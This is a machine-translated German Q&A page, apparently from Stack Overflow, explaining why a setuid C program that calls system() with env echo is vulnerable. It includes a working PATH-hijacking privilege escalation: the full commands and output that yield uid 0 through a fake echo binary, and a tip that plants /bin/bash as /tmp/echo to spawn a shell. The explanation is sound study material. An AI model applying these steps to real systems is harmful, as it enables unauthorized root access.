Frage

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

So wie ich es verstehe, ermöglicht der obige Code eine beliebige Code (oder Programm-) Ausführung - was macht dies verletzlich und wie nutzt man das?

War es hilfreich?

Lösung

Sie können die überschreiben PATH Variable, um auf ein Verzeichnis mit Ihrer benutzerdefinierten Version von zu verweisen echo und da echo wird verwendet env, Es wird nicht als eingebautes behandelt.

Dies bildet nur eine Verwundbarkeit, wenn der Code als privilegierter Benutzer ausgeführt wird.

Im folgenden Beispiel enthält Datei VC den Code aus der Frage.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Beachten setresuid() vor dem Anruf an system() In dem in der Frage veröffentlichten gefährdeten Code ermöglicht es, die Sicherheitsanfälligkeit zu nutzen, auch wenn nur eine effektive Benutzer-ID auf eine privilegierte Benutzer-ID eingestellt ist und die reale Benutzer-ID nicht privilegiert bleibt (wie zum Beispiel der Fall, wenn Sie sich auf das Set-User-ID-Bit verlassen eine Datei wie oben). Ohne den Anruf zu setresuid() Die Shell läuft vorbei system() würde die effektive Benutzer -ID auf die reale Benutzer -ID zurücksetzen, wodurch der Exploit unwirksam ist. In dem Fall, wenn der gefährdete Code mit einer echten Benutzer -ID eines privilegierten Benutzers ausgeführt wird, wird jedoch ausgeführt. system() Rufen Sie alleine aus. Zitieren sh Mann Seite:

Wenn die Shell mit der effektiven Benutzer -ID (Gruppen-) ID gestartet wird, die nicht der realen Benutzer -ID (Gruppen-) ID entspricht, und die Option -P nicht geliefert wird, werden keine Startdateien gelesen, die Shellfunktionen werden nicht aus der Umgebung geerbt, die Schalopts, die Shellopts Variable, wenn sie in der Umgebung angezeigt wird, wird ignoriert und die effektive Benutzer -ID auf die reale Benutzer -ID eingestellt. Wenn die Option -P beim Aufruf geliefert wird, ist das Startverhalten gleich, die effektive Benutzer -ID wird jedoch nicht zurückgesetzt.

Beachten Sie auch, dass setresuid() ist nicht tragbar, aber setuid() oder setreuid() kann auch für den gleichen Effekt verwendet werden.

Andere Tipps

Nun, eigentlich auf dem Systemfunktionsaufruf können Sie mit dem anlegen echo Befehl. Zum Beispiel, wenn Sie den folgenden Code ausführen:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

Sie erhalten eine Shell mit der Erlaubnis des Dateibesitzers

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top